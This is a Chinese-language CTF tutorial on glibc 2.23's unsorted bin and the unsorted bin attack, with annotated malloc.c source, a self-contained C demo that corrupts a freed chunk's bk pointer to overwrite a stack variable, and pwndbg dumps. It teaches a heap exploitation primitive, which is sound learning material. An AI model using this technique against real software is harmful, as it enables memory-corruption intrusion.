关于unsortedbin和unsortedbin_attack

参考资料:

深入理解unsorted bin attack - 先知社区 (aliyun.com)

UnsortedBin Attack (yuque.com)

PWN入门(3-13-1)-关于unsortedbin和unsortedbin_attack (yuque.com)

附件下载:

链接:https://pan.baidu.com/s/1BZ3SZAxWx3yp5j_Q-l3Klw
提取码:gs1u
–来自百度网盘超级会员V3的分享

前言

unsorted bin attack作为一种久远的攻击方式常常作为其他攻击方式的辅助手段,比如修改global_max_fast为一个较大的值使得几乎所有大小的chunk都用fast bin的管理方式进行分配和释放,又或者修改__IO_list_all来伪造_IO_FILE进行攻击。在上述攻击的利用过程中我们实际上并不需要对unsorted bin的分配过程有太多的了解

Unsorted Bin

双向循环链表,采用FIFO(先进先出)即一个chunk放入unsorted bin链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此unsorted bin遍历堆块的时候使用的是bk指针。

有以下三种情况会分到unsorted bin中:

1、当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中

2、释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中

3、当进行 malloc_consolidate(堆中的碎片整理合并) 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话

Unsortedbin_attack概述

  • Unsorted Bin Attack,顾名思义,该攻击与Glibc堆管理中的Unsorted Bin的机制紧密相关。
  • Unsorted Bin Attack被利用的前提是控制Unsorted Bin Chunk的bk指针。
  • Unsorted Bin Attack可以达到的效果是实现修改任意地址值为一个较大的数值,然后配合fastbin attack使用,达到任意地址写的效果。

Unsortedbin源码分析

使用的是libc-2.23.so版本的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
//源码的第3470行-3597行
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
//取链表尾部的chunk记作victim
{
bck = victim->bk;
//size check
//倒数第二个chunk记作bck
//接下来对victim的size位进行检查
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
//检查通过,计算victim得到的实际chunk的大小
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
//last remainder first
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
//假如说我们申请的malloc大小属于smallbin的范围,并且last_remainder是unsortedbin 的唯一一个chunk时,优先使用这个chunk
{
/* split and reattach remainder */
//假若满足条件则对其进行切割和解链操作

remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
//cut and put the remained part back to unsorted list
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
//return to user
return p;
}
//如果说上述条件不满足,则将vivtim从链中取出之后放到合适的链中或返回给用户
//其中unsorted_chunks (av)->bk = bck;
//bck->fd = unsorted_chunks (av);
//unsorted bin attack产生的原因,
//一旦我们绕过之前的检查到达这里,
//在可以控制victim->bk即bck的情况下我们可以往bck->fd写入unsorted_chunks(av)
//即*(bck+0x10)=unsorted(av)。

/* remove from unsorted list */
//unsorted bin attack
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

//如果我们请求的nb同victim的大小恰好吻合,就直接返回这个块给用户。
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

//如果之前的条件都不满足,意味着目前的victim不能满足用户的需求,
//需要根据其size放入small bin或large bin的链,
//其中在后者实现中存在large bin attack,
//由于同本文无关就不再进一步展开,最后是unlink将victim彻底解链。
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

总结上述源码过程

  • unsortedbin中有没有chunk?

    • 有的话,从尾部取出第一个chunk,看看大小是否满足需求。
      • 满足,切分后大小是或否大于minsize?
        • 大于,切分块,返回给用户,剩下的块放进unsorted bin
        • 小于等于minsize,直接返回给用户,完成
    • 不满足,把这个块放入small/largebin对应的链表中,继续遍历下一个块

Unsortedbin_attack原理

从下面的源码中可以看到,当将一个unsorredbin取出时,会将bck->fd的位置写入本unsortedbin的位置

1
2
3
4
5
6
7
#glibc-2.23/malloc.malloc.c
#源码第3515-3517
/* remove from unsorted list */
//unsorted bin attack
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
//unsorted_chunks(av)其实是&main_arena.top

也就是说,如果我们控制了bk的值,我们就能将unsorted_chunk(av)写到任意地址。

Demo

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

int main(){

fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

unsigned long stack_var=0;
fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
malloc(500);

free(p);
fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

malloc(0x410);
fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

程序目标是通过unsorreddbin_attack将stack_var改成一个很大的值。

pwndbg调试

首先在代码的第12行下断点,运行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pwndbg> b +12
Breakpoint 1 at 0x400730: file demo.c, line 13.
pwndbg> r
Starting program: /root/CTF-PWN/Unsortedbin Attack/pwn
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffdec8 的值 0 更改为一个很大的数


Breakpoint 1, main () at demo.c:12
12 demo.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────
RAX 0x51
RBX 0x0
RCX 0x7ffff7b043c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffb830 ◂— 0x87e5acbbe49188e6
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0x51
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdfc0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdee0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdec0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RIP 0x400722 (main+124) ◂— mov edi, 0x410
─────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x400722 <main+124> mov edi, 0x410
0x400727 <main+129> call malloc@plt <0x400580>

0x40072c <main+134> mov qword ptr [rbp - 0x10], rax
0x400730 <main+138> mov rax, qword ptr [rip + 0x200929] <0x601060>
0x400737 <main+145> mov rdx, qword ptr [rbp - 0x10]
0x40073b <main+149> mov esi, 0x400a18
0x400740 <main+154> mov rdi, rax
0x400743 <main+157> mov eax, 0
0x400748 <main+162> call fprintf@plt <0x400570>

0x40074d <main+167> mov rax, qword ptr [rip + 0x20090c] <0x601060>
0x400754 <main+174> mov rcx, rax
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdec0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:00080x7fffffffdec8 ◂— 0x0
02:00100x7fffffffded0 —▸ 0x7fffffffdfc0 ◂— 0x1
03:00180x7fffffffded8 ◂— 0xd309842edaa5d000
04:0020│ rbp 0x7fffffffdee0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:00280x7fffffffdee8 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
06:00300x7fffffffdef0 ◂— 0x0
07:00380x7fffffffdef8 —▸ 0x7fffffffdfc8 —▸ 0x7fffffffe322 ◂— 0x54432f746f6f722f ('/root/CT')
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► f 0 400722 main+124
f 1 7ffff7a2d840 __libc_start_main+240
Breakpoint /home/ubuntu/Desktop/unsortedbin_demo/demo.c:+12

看一下本地变量的情况:

image-20230811140130186

image-20230811140251599

image-20230811140440958

  • stack_var值为0,变量地址为0x7fffffffdec8
  • p的值为0x7fffffffdfc0,变量地址为0x7fffffffded0

在16行下断点,执行两次malloc

让程序执行unsigned long *p=malloc(0x410); malloc(500);

一开始先申请两个 chunk,第二个是为了防止与 top chunk 合并

查看堆区内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421 #malloc(0x410)
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x602420: 0x0000000000000000 0x0000000000000201 #malloc(500)
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x602620: 0x0000000000000000 0x00000000000209e1 #top_chunk
0x602630: 0x0000000000000000 0x0000000000000000
0x602640: 0x0000000000000000 0x0000000000000000

释放一个不属于fastbin的chunk,并且该chunk不和top_chunk紧邻时,该chunk会首先被释放到unsortedbin中

单步执行free(p);

继续执行free(p)之后,查看内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> unsortedbin
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000

pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602620
#top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000000000602000
#unsortedbin
0x7ffff7dd1b90 <main_arena+112>: 0x0000000000602000 0x00007ffff7dd1b88

当unsortedbin只有一个free_chunk时,它的fd和bk指针都指向unsortedbin本身。

image.png

继续执行p[1]=(unsigned long)(&stack_var-2);

通过 p[1] = (unsigned long)(&stack_var - 2); 把 bk 指针给改掉了 unsigned long 是 8 字节大小的,所以减去 2 之后正好是在 address 这个地方

查看内存情况:

1
2
3
4
5
6
7
8
9
10
pwndbg> x/16gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdeb8
#fd #bk被更改
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000

现在已经修改unsortedbin中的malloc_chunk1指针为0x00007fffffffdeb8

image-20230811143120279

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/16gx 0x00007fffffffdeb8
0x7fffffffdeb8: 0x00000000004007a8 0x0000000000400870
#bk指针指向的地方
0x7fffffffdec8: 0x0000000000000000 0x0000000000602010
#想要被修改为超大值的地方
0x7fffffffded8: 0xea41b679fbc0f600 0x0000000000400870
0x7fffffffdee8: 0x00007ffff7a2d840 0x0000000000000000
0x7fffffffdef8: 0x00007fffffffdfc8 0x0000000100000000
0x7fffffffdf08: 0x00000000004006a6 0x0000000000000000
0x7fffffffdf18: 0xe2f219a6a25a2eba 0x00000000004005b0
0x7fffffffdf28: 0x00007fffffffdfc0 0x0000000000000000

image-20230811143320099

执行malloc(0x410)

执行malloc(0x410)时,会先判断所申请的chunk是否处于smallbin所在范围内,但是此时smallbin范围内中并没有空闲块,所以会去找unsortedbin中找,遍历unsortedbin不空,于是就取unsortedbin中的最后一个chunk拿出来。

unsortedbin在使用过程中,采取FIFO的遍历顺序,即插入的时候插入到链表头部,取出的时候从链表尾部取出

malloc之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602620 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000000000602000 #malloc(0x410)
0x7ffff7dd1b90 <main_arena+112>: 0x00007fffffffdeb8 0x00007ffff7dd1b88
pwndbg> x/16gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdeb8
#被修改的bk指针
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
pwndbg> x/16gx 0x00007fffffffdeb8
0x7fffffffdeb8: 0x000000000040080a 0x0000000000400870
0x7fffffffdec8: 0x00007ffff7dd1b78 0x0000000000602010
#此地址被修改为较大的数(其值为main_arena+88的地址)
0x7fffffffded8: 0xea41b679fbc0f600 0x0000000000400870
0x7fffffffdee8: 0x00007ffff7a2d840 0x0000000000000000
0x7fffffffdef8: 0x00007fffffffdfc8 0x0000000100000000
0x7fffffffdf08: 0x00000000004006a6 0x0000000000000000
0x7fffffffdf18: 0xe2f219a6a25a2eba 0x00000000004005b0
0x7fffffffdf28: 0x00007fffffffdfc0 0x0000000000000000

申请的时候需要把释放的那一块给拿出来,操作如下:

1
2
3
4
/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

把 unsorted bin 的 bk 改为 chunk 的 bk,然后将 chunk 的 bk 所指向的 fd 改为 unsorted bin 的地址

img

img

同时因为对于一个 chunk 来说 chunk 头是占据 0x10 大小的(也就是图中 address),所以 fd 正好是我们想要改的那个地址。

总结

unsortedbin的攻击方式:

首先我们将一个堆块释放到unsortedbin中,然后利用堆溢出修改unsortedbin中的chunk的bk指针,这个bk指针是指向target_addr-0x10。当我们malloc申请unsortedbin中的堆块时,target_addr中的值就会变成main_arena+88地址的值

target_addr:目标地址(想要修改为超大数的地址)